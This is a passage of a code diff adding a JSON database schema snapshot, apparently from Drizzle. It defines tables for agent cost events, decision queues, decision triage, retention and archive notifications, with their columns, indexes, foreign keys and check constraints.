+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "biller": {
+          "name": "biller",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "billing_type": {
+          "name": "billing_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "cost_status": {
+          "name": "cost_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'reported'"
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cached_input_tokens": {
+          "name": "cached_input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "occurred_at": {
+          "name": "occurred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cost_events_company_occurred_idx": {
+          "name": "cost_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_agent_occurred_idx": {
+          "name": "cost_events_company_agent_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_provider_occurred_idx": {
+          "name": "cost_events_company_provider_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_biller_occurred_idx": {
+          "name": "cost_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_heartbeat_run_idx": {
+          "name": "cost_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cost_events_company_id_companies_id_fk": {
+          "name": "cost_events_company_id_companies_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_agent_id_agents_id_fk": {
+          "name": "cost_events_agent_id_agents_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_issue_id_issues_id_fk": {
+          "name": "cost_events_issue_id_issues_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cost_events_project_id_projects_id_fk": {
+          "name": "cost_events_project_id_projects_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_goal_id_goals_id_fk": {
+          "name": "cost_events_goal_id_goals_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "cost_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_archive_notification_outbox": {
+      "name": "decision_archive_notification_outbox",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "delivered_at": {
+          "name": "delivered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_archive_notification_outbox_uq": {
+          "name": "decision_archive_notification_outbox_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archive_version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_archive_notification_outbox_pending_idx": {
+          "name": "decision_archive_notification_outbox_pending_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_archive_notification_outbox_company_id_companies_id_fk": {
+          "name": "decision_archive_notification_outbox_company_id_companies_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_archive_notification_outbox_origin_agent_id_agents_id_fk": {
+          "name": "decision_archive_notification_outbox_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_archive_notification_outbox_status_check": {
+          "name": "decision_archive_notification_outbox_status_check",
+          "value": "\"decision_archive_notification_outbox\".\"status\" IN ('pending', 'delivering', 'delivered')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queue_items": {
+      "name": "decision_queue_items",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_type": {
+          "name": "added_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_agent_id": {
+          "name": "added_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_user_id": {
+          "name": "added_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_run_id": {
+          "name": "added_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_agent_api_key_id": {
+          "name": "added_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queue_items_queue_source_uq": {
+          "name": "decision_queue_items_queue_source_uq",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queue_items_company_source_idx": {
+          "name": "decision_queue_items_company_source_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queue_items_company_id_companies_id_fk": {
+          "name": "decision_queue_items_company_id_companies_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_id_agents_id_fk": {
+          "name": "decision_queue_items_added_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "added_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "added_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "added_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_queue_company_fk": {
+          "name": "decision_queue_items_queue_company_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id",
+            "company_id"
+          ],
+          "columnsTo": [
+            "id",
+            "company_id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_queue_items_actor_check": {
+          "name": "decision_queue_items_actor_check",
+          "value": "(\n        (\"decision_queue_items\".\"added_by_type\" = 'agent' AND \"decision_queue_items\".\"added_by_agent_id\" IS NOT NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'user' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NOT NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'system' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queues": {
+      "name": "decision_queues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_type": {
+          "name": "created_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_api_key_id": {
+          "name": "created_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_days": {
+          "name": "retention_days",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "seed_rules": {
+          "name": "seed_rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "seed_rules_enabled": {
+          "name": "seed_rules_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queues_company_key_uq": {
+          "name": "decision_queues_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queues_company_updated_idx": {
+          "name": "decision_queues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queues_company_id_companies_id_fk": {
+          "name": "decision_queues_company_id_companies_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_id_agents_id_fk": {
+          "name": "decision_queues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queues_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "created_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "decision_queues_id_company_uq": {
+          "name": "decision_queues_id_company_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "id",
+            "company_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "decision_queues_creator_check": {
+          "name": "decision_queues_creator_check",
+          "value": "(\n        (\"decision_queues\".\"created_by_type\" = 'agent' AND \"decision_queues\".\"created_by_agent_id\" IS NOT NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'user' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NOT NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'system' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n      )"
+        },
+        "decision_queues_retention_days_check": {
+          "name": "decision_queues_retention_days_check",
+          "value": "\"decision_queues\".\"retention_days\" IS NULL OR (\"decision_queues\".\"retention_days\" >= 1 AND \"decision_queues\".\"retention_days\" <= 3650)"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_retention": {
+      "name": "decision_retention",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_activity_at": {
+          "name": "source_activity_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "keep": {
+          "name": "keep",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_reason": {
+          "name": "archived_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_type": {
+          "name": "archived_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_retention_company_source_uq": {
+          "name": "decision_retention_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_retention_company_archived_idx": {
+          "name": "decision_retention_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_retention_company_id_companies_id_fk": {
+          "name": "decision_retention_company_id_companies_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_agent_id_agents_id_fk": {
+          "name": "decision_retention_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_retention_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_retention_archive_actor_check": {
+          "name": "decision_retention_archive_actor_check",
+          "value": "(\n        (\"decision_retention\".\"archived_at\" IS NULL AND \"decision_retention\".\"archived_by_type\" IS NULL AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'system' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'agent' AND \"decision_retention\".\"archived_by_agent_id\" IS NOT NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'user' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage": {
+      "name": "decision_triage",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decide_by": {
+          "name": "decide_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decide_by_date": {
+          "name": "decide_by_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_type": {
+          "name": "set_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "set_by_agent_id": {
+          "name": "set_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_user_id": {
+          "name": "set_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_run_id": {
+          "name": "set_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_agent_api_key_id": {
+          "name": "set_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_company_source_uq": {
+          "name": "decision_triage_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_company_decide_by_idx": {
+          "name": "decision_triage_company_decide_by_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "decide_by",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_company_id_companies_id_fk": {
+          "name": "decision_triage_company_id_companies_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_id_agents_id_fk": {
+          "name": "decision_triage_set_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "set_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
